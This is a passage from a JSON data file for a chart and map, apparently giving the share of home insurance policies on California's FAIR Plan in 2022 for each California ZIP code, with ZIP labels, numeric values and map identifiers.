92081","ZIP 92082","ZIP 92083","ZIP 92084","ZIP 92086","ZIP 92091","ZIP 92101","ZIP 92102","ZIP 92103","ZIP 92104","ZIP 92105","ZIP 92106","ZIP 92107","ZIP 92108","ZIP 92109","ZIP 92110","ZIP 92111","ZIP 92113","ZIP 92114","ZIP 92115","ZIP 92116","ZIP 92117","ZIP 92118","ZIP 92119","ZIP 92120","ZIP 92121","ZIP 92122","ZIP 92123","ZIP 92124","ZIP 92126","ZIP 92127","ZIP 92128","ZIP 92129","ZIP 92130","ZIP 92131","ZIP 92139","ZIP 92154","ZIP 92173","ZIP 94102","ZIP 94103","ZIP 94105","ZIP 94107","ZIP 94108","ZIP 94109","ZIP 94110","ZIP 94111","ZIP 94112","ZIP 94114","ZIP 94115","ZIP 94116","ZIP 94117","ZIP 94118","ZIP 94121","ZIP 94122","ZIP 94123","ZIP 94124","ZIP 94127","ZIP 94129","ZIP 94130","ZIP 94131","ZIP 94132","ZIP 94133","ZIP 94134","ZIP 94158","ZIP 95202","ZIP 95203","ZIP 95204","ZIP 95205","ZIP 95206","ZIP 95207","ZIP 95209","ZIP 95210","ZIP 95212","ZIP 95215","ZIP 95219","ZIP 95220","ZIP 95227","ZIP 95230","ZIP 95231","ZIP 95236","ZIP 95237","ZIP 95240","ZIP 95242","ZIP 95258","ZIP 95304","ZIP 95320","ZIP 95330","ZIP 95336","ZIP 95337","ZIP 95366","ZIP 95376","ZIP 95377","ZIP 95391","ZIP 93401","ZIP 93402","ZIP 93405","ZIP 93420","ZIP 93422","ZIP 93424","ZIP 93428","ZIP 93430","ZIP 93432","ZIP 93433","ZIP 93442","ZIP 93444","ZIP 93445","ZIP 93446","ZIP 93449","ZIP 93451","ZIP 93452","ZIP 93453","ZIP 93461","ZIP 93465","ZIP 94002","ZIP 94005","ZIP 94010","ZIP 94014","ZIP 94015","ZIP 94018","ZIP 94019","ZIP 94020","ZIP 94021","ZIP 94025","ZIP 94027","ZIP 94028","ZIP 94030","ZIP 94037","ZIP 94038","ZIP 94044","ZIP 94060","ZIP 94061","ZIP 94062","ZIP 94063","ZIP 94065","ZIP 94066","ZIP 94070","ZIP 94074","ZIP 94080","ZIP 94128","ZIP 94303","ZIP 94401","ZIP 94402","ZIP 94403","ZIP 94404","ZIP 93013","ZIP 93067","ZIP 93101","ZIP 93103","ZIP 93105","ZIP 93108","ZIP 93109","ZIP 93110","ZIP 93111","ZIP 93117","ZIP 93254","ZIP 93427","ZIP 93429","ZIP 93434","ZIP 93436","ZIP 93440","ZIP 93441","ZIP 93454","ZIP 93455","ZIP 93458","ZIP 93460","ZIP 93463","ZIP 94022","ZIP 94024","ZIP 94040","ZIP 94041","ZIP 94043","ZIP 94085","ZIP 94086","ZIP 94087","ZIP 94089","ZIP 94301","ZIP 94304","ZIP 94305","ZIP 94306","ZIP 95002","ZIP 95008","ZIP 95013","ZIP 95014","ZIP 95020","ZIP 95030","ZIP 95032","ZIP 95035","ZIP 95037","ZIP 95046","ZIP 95050","ZIP 95051","ZIP 95054","ZIP 95070","ZIP 95110","ZIP 95111","ZIP 95112","ZIP 95113","ZIP 95116","ZIP 95117","ZIP 95118","ZIP 95119","ZIP 95120","ZIP 95121","ZIP 95122","ZIP 95123","ZIP 95124","ZIP 95125","ZIP 95126","ZIP 95127","ZIP 95128","ZIP 95129","ZIP 95130","ZIP 95131","ZIP 95132","ZIP 95133","ZIP 95134","ZIP 95135","ZIP 95136","ZIP 95138","ZIP 95139","ZIP 95140","ZIP 95148","ZIP 95003","ZIP 95005","ZIP 95006","ZIP 95007","ZIP 95010","ZIP 95017","ZIP 95018","ZIP 95019","ZIP 95033","ZIP 95041","ZIP 95060","ZIP 95062","ZIP 95064","ZIP 95065","ZIP 95066","ZIP 95073","ZIP 95076","ZIP 96001","ZIP 96002","ZIP 96003","ZIP 96007","ZIP 96008","ZIP 96013","ZIP 96016","ZIP 96017","ZIP 96019","ZIP 96028","ZIP 96033","ZIP 96040","ZIP 96047","ZIP 96051","ZIP 96059","ZIP 96062","ZIP 96065","ZIP 96069","ZIP 96071","ZIP 96073","ZIP 96076","ZIP 96087","ZIP 96088","ZIP 96096","ZIP 95910","ZIP 95936","ZIP 95944","ZIP 96118","ZIP 96124","ZIP 96125","ZIP 96126","ZIP 95568","ZIP 96014","ZIP 96023","ZIP 96025","ZIP 96027","ZIP 96031","ZIP 96032","ZIP 96034","ZIP 96038","ZIP 96039","ZIP 96044","ZIP 96050","ZIP 96057","ZIP 96058","ZIP 96064","ZIP 96067","ZIP 96085","ZIP 96086","ZIP 96094","ZIP 96097","ZIP 96134","ZIP 94510","ZIP 94512","ZIP 94533","ZIP 94534","ZIP 94571","ZIP 94585","ZIP 94589","ZIP 94590","ZIP 94591","ZIP 94592","ZIP 95620","ZIP 95687","ZIP 95688","ZIP 94922","ZIP 94923","ZIP 94928","ZIP 94931","ZIP 94951","ZIP 94952","ZIP 94954","ZIP 94972","ZIP 95401","ZIP 95403","ZIP 95404","ZIP 95405","ZIP 95407","ZIP 95409","ZIP 95412","ZIP 95419","ZIP 95421","ZIP 95425","ZIP 95436","ZIP 95439","ZIP 95441","ZIP 95442","ZIP 95444","ZIP 95446","ZIP 95448","ZIP 95450","ZIP 95452","ZIP 95462","ZIP 95465","ZIP 95471","ZIP 95472","ZIP 95476","ZIP 95492","ZIP 95497","ZIP 95307","ZIP 95313","ZIP 95316","ZIP 95319","ZIP 95323","ZIP 95326","ZIP 95328","ZIP 95350","ZIP 95351","ZIP 95354","ZIP 95355","ZIP 95356","ZIP 95357","ZIP 95358","ZIP 95360","ZIP 95361","ZIP 95363","ZIP 95367","ZIP 95368","ZIP 95380","ZIP 95382","ZIP 95385","ZIP 95386","ZIP 95645","ZIP 95659","ZIP 95668","ZIP 95674","ZIP 95953","ZIP 95957","ZIP 95982","ZIP 95991","ZIP 95993","ZIP 96021","ZIP 96022","ZIP 96035","ZIP 96055","ZIP 96061","ZIP 96075","ZIP 96080","ZIP 95526","ZIP 95527","ZIP 95552","ZIP 95563","ZIP 95595","ZIP 96010","ZIP 96024","ZIP 96041","ZIP 96046","ZIP 96048","ZIP 96052","ZIP 96091","ZIP 96093","ZIP 93201","ZIP 93207","ZIP 93208","ZIP 93218","ZIP 93219","ZIP 93221","ZIP 93223","ZIP 93235","ZIP 93244","ZIP 93247","ZIP 93256","ZIP 93257","ZIP 93260","ZIP 93265","ZIP 93267","ZIP 93270","ZIP 93271","ZIP 93272","ZIP 93274","ZIP 93277","ZIP 93286","ZIP 93291","ZIP 93292","ZIP 93603","ZIP 93615","ZIP 93618","ZIP 93647","ZIP 95305","ZIP 95310","ZIP 95321","ZIP 95327","ZIP 95329","ZIP 95335","ZIP 95346","ZIP 95370","ZIP 95372","ZIP 95379","ZIP 95383","ZIP 91320","ZIP 91360","ZIP 91361","ZIP 91362","ZIP 91377","ZIP 93001","ZIP 93003","ZIP 93004","ZIP 93010","ZIP 93012","ZIP 93015","ZIP 93021","ZIP 93022","ZIP 93023","ZIP 93030","ZIP 93033","ZIP 93035","ZIP 93036","ZIP 93040","ZIP 93041","ZIP 93060","ZIP 93063","ZIP 93065","ZIP 93066","ZIP 95605","ZIP 95606","ZIP 95607","ZIP 95612","ZIP 95616","ZIP 95618","ZIP 95627","ZIP 95637","ZIP 95679","ZIP 95691","ZIP 95694","ZIP 95695","ZIP 95698","ZIP 95776","ZIP 95937","ZIP 95692","ZIP 95901","ZIP 95918","ZIP 95919","ZIP 95922","ZIP 95925","ZIP 95935","ZIP 95961","ZIP 95962","ZIP 95972","ZIP 95981","ZIP 90010","ZIP 90079","ZIP 91948","ZIP 92678","ZIP 93262","ZIP 93605","ZIP 93673","ZIP 93921","ZIP 93928","ZIP 94516","ZIP 94562","ZIP 94573","ZIP 94950","ZIP 95224","ZIP 95233","ZIP 95248","ZIP 95309","ZIP 95325","ZIP 95375","ZIP 95430","ZIP 95435","ZIP 95480","ZIP 95486","ZIP 95545","ZIP 95553","ZIP 95559","ZIP 95571","ZIP 95613","ZIP 95646","ZIP 95675","ZIP 95686","ZIP 95913","ZIP 95950","ZIP 95978","ZIP 95986","ZIP 96011","ZIP 96029","ZIP 96037","ZIP 96068","ZIP 96074","ZIP 96084","ZIP 96135","ZIP 96155"],"series":[{"key":"% Policies on FAIR Plan (2022)","label":"FAIR policies","color":"#12A07F","values":[0.7,null,0.1,0,0.1,0.2,0.6,0.1,0.1,0.1,0.2,0.1,2.1,0,0,0.1,0.1,0.1,0.1,0,0,11.6,0,0.3,2.4,0.9,1,1.4,2.1,3.8,1.8,0.7,0.2,9.2,4.6,0.1,1.3,2.2,0.4,0.6,2.5,2.9,0.1,0.4,3,1.4,1.9,null,26.7,30.2,13,36,1.2,11.2,48,53.8,6,21.8,40.1,13.8,14.6,30.6,null,0,0.7,58.9,null,48.4,43.3,null,37.9,3,13.2,null,8.1,0.8,12.8,49.4,6.5,22.5,11.6,32.4,25.6,33,40.2,16.4,39.8,5.1,3,48.9,63.3,0.4,0.2,null,2.4,3.4,0.1,0,0.6,1,0.2,4.6,0.1,0.7,0.6,0.1,0.1,0,0,0.1,1.4,0.3,2,0.4,0,0,1.5,0.2,0.5,0.1,2.5,0.1,0.1,3.2,0.2,0,0.4,1,0.3,0.2,0.1,1.1,0.5,0.5,0.3,0.4,0.6,20.7,3.6,0.8,26.2,10,19.1,50.6,47.5,55.4,39.1,25.6,51.2,37.1,22.2,9,42.9,45.1,32.1,49.3,59.7,31.8,1.4,18.2,17.4,0.3,0.3,0,45.6,null,1.8,0.8,0,0.1,0.4,0.6,19.4,0.5,25.5,0.1,8,null,33.2,0.1,0.1,46.2,31.4,0.4,35.6,1.2,0,0,15.2,0,0.1,0.2,0.3,0.2,0.1,54.7,31.2,null,13.4,1.5,0.8,0.2,0.1,0.1,0.9,0,0.1,0,3.3,0.1,0.2,0.4,0.1,0.1,0.6,0,0.1,4.3,14.4,null,0.3,0.1,0.1,0.4,32.5,41,0.3,0.9,0.6,5.5,6.4,2.1,0.5,31.6,11.9,0.3,4.6,62.5,0.4,33.3,5.7,30.7,26.2,19.5,0.7,null,2.5,19.4,1.2,18.2,12.2,0.4,1,0.5,0.7,0.3,0.3,0.2,4,3,null,7.9,1.2,1.1,3.3,null,0.6,0.8,1.8,2.6,4.1,0.3,23,1.3,0.2,41.8,null,19,23.8,9.4,7.1,1.1,17.6,0.8,0.1,7.7,3.9,0.2,0.4,30.9,0.1,12.6,40.1,15.6,0.6,1,1.3,0.3,0.8,0.3,0.2,0,0.1,0.1,0.1,1.8,0.3,0.4,29.2,0.2,6.2,15,37.4,0.1,0.4,8.3,0.1,0.1,0.4,0,2.7,0,2.4,3.3,25.5,9.7,17.2,1.7,19.4,5.1,17.8,4.4,5.6,8,10.2,null,1.8,3.8,7.5,0.1,4.6,null,27.7,4.8,null,0.5,1.5,null,10.4,35.5,23.8,29.2,7.6,7,39.1,36.5,4.3,38.5,11.1,null,null,42.7,11.5,54.8,19.2,10.4,3.6,36.2,15.5,29.8,0.7,1,10.8,4.6,12.2,16,17,8.5,27.1,1.8,1.4,2.2,34.8,9.7,4.4,9.7,3.9,8.9,6.7,17.6,0.3,29.9,8,2.2,11.9,0.7,22.9,51.1,15.4,15.6,20.7,23.1,0.5,8,0.4,null,17.7,8.1,null,44.4,null,null,null,13.7,27.3,2.2,1.1,9,13.4,14.1,0.7,1.1,2.1,2,2.5,0.1,2.7,1.5,1.3,2.8,0.1,18.5,2.9,12.7,30.1,0.2,17.3,7.5,0.5,0.4,0.2,0.2,10.5,78.4,1.4,0.7,0.1,8.9,8.8,6.6,11.7,3.1,2.5,0.7,1.1,3.3,0.6,1.2,1.3,0.2,0.3,0.2,3.9,3.8,0.7,1.1,2.8,3.3,0.5,3.4,2.2,3.7,1.5,1.9,0.3,37,2,1.2,0.4,0.3,1.7,7.3,0.8,5.9,1.9,0.3,5.6,1.5,1.9,2.1,4.5,0.2,3.6,4.1,4.5,0.8,0.1,3.3,10.9,0.5,0.2,5.8,1.6,0.9,24.2,3.2,5.5,3.6,1.9,8,1.9,7.4,10.5,7.2,6.2,2.3,5.2,1.2,2.8,1.1,3,3.9,4.7,6.2,3.9,14.6,4.8,8.9,2.8,8,10.7,4.1,2.9,2,3.1,3.2,3,3.9,1.3,1.5,1.4,null,7.7,3.3,7,6.2,2.1,2.2,3,1.7,2,8.5,0.6,0.1,4.2,3.8,1.5,2.7,14.4,5.9,13.4,1.6,5.1,8.2,3.8,2.3,2,8.8,4.4,5.6,2.1,2.6,0.7,0.7,3.8,0.4,8.6,4.8,5.2,0.9,3.4,4.7,1.3,1.4,1.1,1.9,4.2,3.7,4.4,0.8,2.9,5.2,2.9,4.6,1.9,1.5,1.2,1.3,4.3,3.7,2.8,4.3,2.1,2.4,0.7,2.2,0.9,1.5,1.8,1.6,1.2,2.3,2.4,10.3,37.8,0.6,0.9,0.5,2.2,7.3,1.4,1.8,1,2.8,23.8,1.6,26.9,34.5,0.2,17.2,0.2,0.2,0.3,50,23.7,32.9,20.4,53.9,0.3,0.2,1,0.4,0.7,0.8,1.4,1.9,11.8,24.8,12.1,1,16,2.5,0.2,8.8,0.2,0.4,6.4,0.7,0.3,4,13.7,1.3,4.4,7.6,42.9,14.2,41,45.7,34.9,52.1,52.6,6.1,7.9,12.6,5.8,6.2,12.9,55.5,11.5,1.6,11.6,5.3,21.5,8.2,8.4,2.9,15.1,8.6,2.7,19.2,4.6,3,8.9,15.5,24.3,20,25.5,0.1,0,0.1,1.6,0,null,0.1,0,0.3,0.2,0,0.1,0,0.3,2.2,null,0.1,2.1,13.8,8.8,1.3,1.4,0,3.7,5.5,1.2,3.9,12.9,9.5,30.7,12.1,9,2.6,3.1,36.8,7.7,0.1,0.1,0,4.4,5.7,41.6,10.5,19.5,6,0.2,1.8,1.2,2.3,null,2.6,0,1.9,8.2,0,0.4,null,2,0.8,1,0,23.3,10.9,1.6,0.3,51.5,8.8,22,0.9,24.9,26.4,14.2,41.6,39.5,42.6,42.5,26,35,24,0.1,0.5,0.2,0.2,2.2,0.3,0,0.1,0.6,1,0.3,0.5,0.1,0,1.1,0.1,0.1,null,0.2,0.1,0.1,0.1,0.1,0.1,0.1,0.1,null,0.1,0.1,0.1,0.1,4.9,0.2,0,0.5,2.9,0.2,0.2,null,0.1,0.5,0.5,0.7,79.7,0.8,11.6,0.1,0.7,0.1,0.2,0.4,2.6,1.7,0.9,0.4,0.1,1.2,0.1,0,0.3,0.4,0.2,0.1,0.3,0,0.7,0.7,0.7,2.7,0.2,0.1,0.2,0.2,0.1,0,0.1,0.1,0,0.1,0.1,0.1,0.1,0.2,0.2,0.1,0.5,4.2,27.9,8.3,69.6,0.2,3.3,5,null,1.7,0,0,0.7,54.8,41.7,46.5,43.3,60,53.5,50.9,8.3,1.5,0,0,28.3,19.9,33.6,35.8,39.4,32.5,null,39.8,8.2,13.1,24,10.4,16.8,53.6,12.1,35.3,18.2,13.4,22.3,16.8,4.8,19.9,1.1,0.1,0.1,0.1,0,2.2,1.8,0.2,6.7,0.2,0.2,null,0.3,1.6,0.1,0.1,2.7,0.1,0.2,0.2,0.1,0.7,0.3,12.8,2.6,0.6,1.1,0.7,0.5,0.4,0.8,0.2,1.5,null,3.4,3.3,28.6,31.5,0.8,3.1,0.6,6.7,64,0.9,1.1,1,1.4,27.5,4.5,0.3,2.5,5,1.3,1,0.9,0.4,0.4,0.2,1,32.1,0.1,1.2,1.8,0.3,0.4,0.9,0.3,0.8,2.4,1.7,0,0,null,0,0,0,0,0,0,0.4,1.4,0,0.1,0,0,0.1,0.2,0.6,0.1,0,0,0,0.9,0.2,0.2,0.1,0.2,0.1,0.1,0.2,0.1,0.1,0.1,0.1,0.1,0,0,0,0.1,null,0,0.1,0.1,0,null,0,0.2,0.1,0,null,0,0.3,23.7,2.3,0.9,0.6,0.2,3.6,0.3,0.3,1.6,1,47.5,0.6,0.5,0.8,1.2,0.9,0.4,1.2,1.3,3.4,null,12.1,0.8,0,0.7,6.9,1.1,null,60.4,0.5,0.5,5.2,0.4,0.9,51.6,54.5,2.4,60,73,81.7,2.7,79.5,null,null,64.3,2.2,0.7,1.4,null,66.6,63.4,0.5,5.9,0.9,1.2,3.1,71.5,0.8,3,58.1,4.7,0.6,null,2.4,4.4,6,5.5,4.2,0.6,1.7,0.9,70.8,68.9,65.4,58.9,77.1,0.7,0.8,0.8,43,2.1,6.3,10.5,3.3,3.9,4,5.2,6.2,5.9,31.6,0.8,32.1,0.4,24.5,18.6,0.1,0.1,0.1,0.7,0.1,44.8,44.2,39.7,0.1,7.8,31.5,0.2,0,0.2,0.3,31.4,45.1,0.4,4,23.4,4.9,1,0.1,0.2,0.4,0.2,0.2,0.5,2.7,0.1,2.3,0.6,1.6,6.1,1.5,5.2,5.6,43.5,0.6,3,0.1,null,0.1,0.3,0.3,55.6,57.7,13.6,1.9,14.3,15.3,7.4,1.4,40.1,0.5,0.1,2,0.2,12.7,0.2,3.7,48.6,1.7,2.4,2.2,0.6,0.5,1.4,0.2,0.2,0.3,0.2,0.2,0.3,3.1,0.5,0.3,0.8,0.2,0.1,0.5,0.7,1.1,0.2,0.1,0.8,0.4,0.7,0.5,1.7,0.7,4,0.3,0.3,0.6,3.2,2.7,null,0.4,5.3,1.3,0.8,null,0.1,0.4,1,0.1,1.5,0.2,0.2,0.1,0.5,0.7,0.1,null,null,0.1,0.1,2.8,0.2,50.7,0.3,0.3,0.1,0.7,0.4,0.1,0,0,0,0.6,0.1,0,0.8,5.3,0.3,0,null,0,0,0,0.1,0.1,0,0,0.1,0,0,0,null,1,0.4,0.9,1.1,1.5,4,3.2,1,11.8,0.1,0.2,0.3,0,1.2,0.4,2.9,47.2,12.3,0.4,1,0.2,0.8,0.3,0.1,0.1,0.2,0.9,14.5,24.7,0.1,0.2,2.9,0.1,0.9,0.2,0.7,16.5,0,1.8,0.1,null,0,0.2,17.1,0,null,0.1,0,0.2,0,0,3.4,3.4,0.3,5.5,11.5,18,0.3,0.9,1.2,2.1,7.2,1.3,6.1,0.1,0.7,2.7,9.1,0.7,0.1,0,5.4,1.1,1.1,0.7,null,null,null,null,0,0,0,0.1,2.4,0.2,0,1,0,null,0.5,0.3,5.1,0.8,0,1.2,0.4,0,0,0,1.2,1.4,0.2,0.5,null,0.3,0.1,0,null,0.3,0.1,0.4,0,0,0.1,0.2,0.3,0,0,null,0.1,0.1,0.1,null,0,null,0.1,0.1,12.3,0.1,2.5,9.6,14.4,16,null,6.7,12.6,null,14.4,15.5,2.3,0,null,3.1,4.8,4.9,1.4,1.1,0.2,2.7,1.1,11.4,4.8,8.1,26.5,2.2,2.3,13.3,7.5,8.9,23.8,29.4,5.8,25.1,19.9,29.3,2.8,50.4,7.3,19.9,18.6,53.7,49.4,52.8,4.7,25.1,30.8,11.9,30.6,20.7,2.2,17.1,6.3,52.5,8.8,12.6,1,32.1,3.3,25.7,12.3,12.9,2.5,3.4,50.9,30.8,2.4,1.9,0.6,0.1,null,0,0.3,0,0.1,0.1,0.4,0.1,null,0,0,0.1,13.5,1.6,0,0,1.2,0.3,0.1,0,0,0.4,2.5,0.1,0.1,0.5,12,6.8,13.1,2.6,4.9,null,9.7,5.9,null,8.1,4.8,23.8,2.3,9.9,5.2,6.3,0.8,0.9,0.1,5.7,0,1.5,null,null,0.7,0.1,0,0,0.1,0.1,0,0,0.2,0.1,0.1,0.2,0.1,0,0,0,0.1,12.2,0.1,0.4,null,null,0.9,0.3,1,0.1,0,0,0.7,4,0,0,36.4,38.7,1.2,31.6,33.5,35,41.9,66.5,26.5,31,13.1,27.7,14.9,23,26.7,5.2,3.7,58.9,38.6,null,0.2,0.2,0.1,0.2,null,0.2,0.4,0.3,59.9,22,0.5,0.7,18.8,0.4,0.1,0,0.5,0.1,0.1,56.5,0.4,0,0.4,36.1,40.4,50.9,19.9,13.1,53.2,56.2,35.1,35.2,36.7,54.3,0.9,0.6,6,1.7,1.9,3.3,0.4,0.1,0.3,1.2,1.9,1.2,2.4,8.1,0.1,0.2,0.1,0.2,2.6,0.2,2.7,1.9,1.2,5,0,13.9,3.3,0,0,0,0,2.7,20,0,0.7,0.1,2.4,0,0.8,0.1,0.4,7.5,58.6,45.3,53.6,43.8,0,36.3,38.9,38.4,0,80,60.5,49.4,11.7,45.5,0.1,3.2,26.8,31.8,6.3,21.9,9.9,43.7,55.7,42.5,6.1,14.4,46.3,11.5,6.2,44,4.9,39.8,27.4,32.9,7.6,13.9,22.5,70.7,0,1.9,0.5,41.7,45.6,20.2,0,0,33.3,23.4,9.7,22.7,5.4]}],"map":{"geo":"us-zips","ids":["94501","94502","94536","94538","94539","94541","94542","94544","94545","94546","94550","94551","94552","94555","94560","94566","94568","94577","94578","94579","94580","94586","94587","94588","94601","94602","94603","94605","94606","94607","94608","94609","94610","94611","94612","94618","94619","94621","94702","94703","94704","94705","94706","94707","94708","94709","94710","94720","95364","96120","95601","95629","95640","95642","95665","95666","95669","95685","95689","95699","95914","95916","95917","95926","95928","95930","95938","95941","95942","95948","95954","95965","95966","95968","95969","95973","95222","95223","95225","95226","95228","95232","95245","95246","95247","95249","95251","95252","95254","95255","95257","95912","95932","95955","95970","95979","95987","94505","94506","94507","94509","94511","94513","94514","94517","94518","94519","94520","94521","94523","94525","94526","94528","94530","94531","94547","94549","94553","94556","94561","94563","94564","94565","94569","94572","94582","94583","94595","94596","94597","94598","94801","94803","94804","94805","94806","95531","95543","95548","95567","95614","95619","95623","95633","95634","95635","95636","95651","95664","95667","95672","95682","95684","95709","95720","95721","95726","95735","95762","96142","96150","93210","93234","93242","93602","93606","93608","93609","93611","93612","93616","93619","93621","93622","93624","93625","93626","93627","93628","93630","93631","93633","93634","93640","93641","93646","93648","93650","93651","93652","93654","93656","93657","93660","93662","93664","93667","93668","93675","93701","93702","93703","93704","93705","93706","93710","93711","93720","93721","93722","93723","93725","93726","93727","93728","93730","93737","95920","95939","95951","95963","95988","95501","95503","95511","95514","95519","95521","95524","95525","95528","95536","95540","95542","95546","95547","95549","95550","95551","95554","95555","95556","95558","95560","95562","95564","95565","95569","95570","95573","95589","92227","92231","92233","92243","92249","92250","92251","92257","92259","92266","92273","92275","92281","92283","92389","93513","93514","93526","93545","93549","93203","93205","93206","93215","93222","93224","93225","93226","93238","93240","93241","93243","93249","93250","93252","93255","93263","93268","93276","93280","93283","93285","93287","93301","93304","93305","93306","93307","93308","93309","93311","93312","93313","93314","93501","93505","93516","93518","93523","93527","93528","93531","93555","93560","93561","93202","93204","93212","93230","93239","93245","95422","95423","95426","95443","95451","95453","95457","95458","95461","95464","95467","95485","95493","97635","96009","96056","96109","96113","96114","96117","96119","96121","96123","96128","96130","96132","96136","90001","90002","90003","90004","90005","90006","90007","90008","90011","90012","90013","90014","90015","90016","90017","90018","90019","90020","90021","90022","90023","90024","90025","90026","90027","90028","90029","90031","90032","90033","90034","90035","90036","90037","90038","90039","90040","90041","90042","90043","90044","90045","90046","90047","90048","90049","90056","90057","90058","90059","90061","90062","90063","90064","90065","90066","90067","90068","90069","90071","90077","90089","90094","90095","90201","90210","90211","90212","90220","90221","90222","90230","90232","90240","90241","90242","90245","90247","90248","90249","90250","90254","90255","90260","90262","90265","90266","90270","90272","90274","90275","90277","90278","90280","90290","90291","90292","90293","90301","90302","90303","90304","90305","90401","90402","90403","90404","90405","90501","90502","90503","90504","90505","90601","90602","90603","90604","90605","90606","90638","90640","90650","90660","90670","90701","90703","90704","90706","90710","90712","90713","90715","90716","90717","90723","90731","90732","90744","90745","90746","90755","90802","90803","90804","90805","90806","90807","90808","90810","90813","90814","90815","91001","91006","91007","91008","91010","91011","91016","91020","91024","91030","91040","91042","91101","91103","91104","91105","91106","91107","91108","91201","91202","91203","91204","91205","91206","91207","91208","91214","91301","91302","91303","91304","91306","91307","91311","91316","91321","91324","91325","91326","91330","91331","91335","91340","91342","91343","91344","91345","91350","91351","91352","91354","91355","91356","91364","91367","91381","91384","91387","91390","91401","91402","91403","91405","91406","91411","91423","91436","91501","91502","91504","91505","91506","91601","91602","91604","91605","91606","91607","91702","91706","91711","91722","91723","91724","91731","91732","91733","91740","91741","91744","91745","91746","91748","91750","91754","91755","91765","91766","91767","91768","91770","91773","91775","91776","91780","91789","91790","91791","91792","91801","91803","93510","93532","93534","93535","93536","93543","93544","93550","93551","93552","93553","93563","93591","93601","93604","93610","93614","93636","93637","93638","93643","93644","93645","93653","93669","94901","94903","94904","94920","94924","94925","94929","94930","94933","94937","94938","94939","94940","94941","94945","94946","94947","94949","94956","94957","94960","94963","94965","94970","94971","94973","93623","95306","95311","95318","95338","95345","95389","95410","95415","95417","95420","95427","95428","95429","95432","95437","95445","95449","95454","95456","95459","95460","95463","95466","95468","95469","95470","95482","95488","95490","95494","95585","95587","93620","93635","95301","95303","95315","95317","95322","95324","95333","95334","95340","95341","95348","95365","95369","95374","95388","96006","96015","96054","96101","96104","96108","96110","96112","96115","96116","93512","93517","93529","93541","93546","96107","96133","93426","93450","93901","93905","93906","93907","93908","93920","93923","93924","93925","93926","93927","93930","93932","93933","93940","93950","93953","93954","93955","93960","93962","95004","95012","95039","94503","94508","94515","94558","94559","94567","94574","94576","94599","95728","95945","95946","95949","95959","95960","95975","95977","96111","96161","90620","90621","90623","90630","90631","90680","90720","90740","90742","90743","92602","92603","92604","92606","92610","92612","92614","92617","92618","92620","92624","92625","92626","92627","92629","92630","92637","92646","92647","92648","92649","92651","92653","92655","92656","92657","92660","92661","92662","92663","92672","92673","92675","92676","92677","92679","92683","92688","92691","92692","92694","92701","92703","92704","92705","92706","92707","92708","92780","92782","92801","92802","92804","92805","92806","92807","92808","92821","92823","92831","92832","92833","92835","92840","92841","92843","92844","92845","92861","92865","92866","92867","92868","92869","92870","92886","92887","95602","95603","95631","95648","95650","95658","95661","95663","95677","95678","95681","95701","95703","95713","95714","95715","95717","95722","95736","95746","95747","95765","96140","96141","96143","96145","96146","96148","95915","95923","95934","95947","95956","95971","95983","95984","96020","96063","96103","96105","96106","96122","96129","96137","91752","92201","92203","92210","92211","92220","92223","92225","92230","92234","92236","92239","92240","92241","92253","92254","92258","92260","92262","92264","92270","92274","92276","92282","92320","92501","92503","92504","92505","92506","92507","92508","92509","92518","92530","92532","92536","92539","92543","92544","92545","92548","92549","92551","92553","92555","92557","92561","92562","92563","92567","92570","92571","92582","92583","92584","92585","92586","92587","92590","92591","92592","92595","92596","92860","92879","92880","92881","92882","92883","95608","95610","95615","95621","95624","95626","95628","95630","95632","95638","95641","95655","95660","95662","95670","95673","95683","95690","95693","95742","95757","95758","95811","95814","95815","95816","95817","95818","95819","95820","95821","95822","95823","95824","95825","95826","95827","95828","95829","95830","95831","95832","95833","95834","95835","95837","95838","95841","95842","95843","95864","95023","95043","95045","95075","91701","91708","91709","91710","91730","91737","91739","91759","91761","91762","91763","91764","91784","91786","92242","92252","92256","92267","92268","92277","92280","92284","92285","92301","92304","92305","92307","92308","92309","92311","92313","92314","92315","92316","92317","92321","92322","92324","92325","92327","92332","92333","92335","92336","92337","92338","92339","92341","92342","92344","92345","92346","92347","92352","92354","92356","92358","92359","92363","92364","92365","92368","92371","92372","92373","92374","92376","92377","92378","92382","92385","92386","92391","92392","92394","92395","92397","92398","92399","92401","92404","92405","92407","92408","92410","92411","93558","93562","91901","91902","91905","91906","91910","91911","91913","91914","91915","91916","91917","91931","91932","91934","91935","91941","91942","91945","91950","91962","91963","91977","91978","91980","92003","92004","92007","92008","92009","92010","92011","92014","92019","92020","92021","92024","92025","92026","92027","92028","92029","92036","92037","92040","92054","92055","92056","92057","92058","92059","92060","92061","92064","92065","92066","92067","92069","92070","92071","92075","92078","92081","92082","92083","92084","92086","92091","92101","92102","92103","92104","92105","92106","92107","92108","92109","92110","92111","92113","92114","92115","92116","92117","92118","92119","92120","92121","92122","92123","92124","92126","92127","92128","92129","92130","92131","92139","92154","92173","94102","94103","94105","94107","94108","94109","94110","94111","94112","94114","94115","94116","94117","94118","94121","94122","94123","94124","94127","94129","94130","94131","94132","94133","94134","94158","95202","95203","95204","95205","95206","95207","95209","95210","95212","95215","95219","95220","95227","95230","95231","95236","95237","95240","95242","95258","95304","95320","95330","95336","95337","95366","95376","95377","95391","93401","93402","93405","93420","93422","93424","93428","93430","93432","93433","93442","93444","93445","93446","93449","93451","93452","93453","93461","93465","94002","94005","94010","94014","94015","94018","94019","94020","94021","94025","94027","94028","94030","94037","94038","94044","94060","94061","94062","94063","94065","94066","94070","94074","94080","94128","94303","94401","94402","94403","94404","93013","93067","93101","93103","93105","93108","93109","93110","93111","93117","93254","93427","93429","93434","93436","93440","93441","93454","93455","93458","93460","93463","94022","94024","94040","94041","94043","94085","94086","94087","94089","94301","94304","94305","94306","95002","95008","95013","95014","95020","95030","95032","95035","95037","95046","95050","95051","95054","95070","95110","95111","95112","95113","95116","95117","95118","95119","95120","95121","95122","95123","95124","95125","95126","95127","95128","95129","95130","95131","95132","95133","95134","95135","95136","95138","95139","95140","95148","95003","95005","95006","95007","95010","95017","95018","95019","95033","95041","95060","95062","95064","95065","95066","95073","95076","96001","96002","96003","96007","96008","96013","96016","96017","96019","96028","96033","96040","96047","96051","96059","96062","96065","96069","96071","96073","96076","96087","96088","96096","95910","95936","95944","96118","96124","96125","96126","95568","96014","96023","96025","96027","96031","96032","96034","96038","96039","96044","96050","96057","96058","96064","96067","96085","96086","96094","96097","96134","94510","94512","94533","94534","94571","94585","94589","94590","94591","94592","95620","95687","95688","94922","94923","94928","94931","94951","94952","94954","94972","95401","95403","95404","95405","95407","95409","95412","95419","95421","95425","95436","95439","95441","95442","95444","95446","95448","95450","95452","95462","95465","95471","95472","95476","95492","95497","95307","95313","95316","95319","95323","95326","95328","95350","95351","95354","95355","95356","95357","95358","95360","95361","9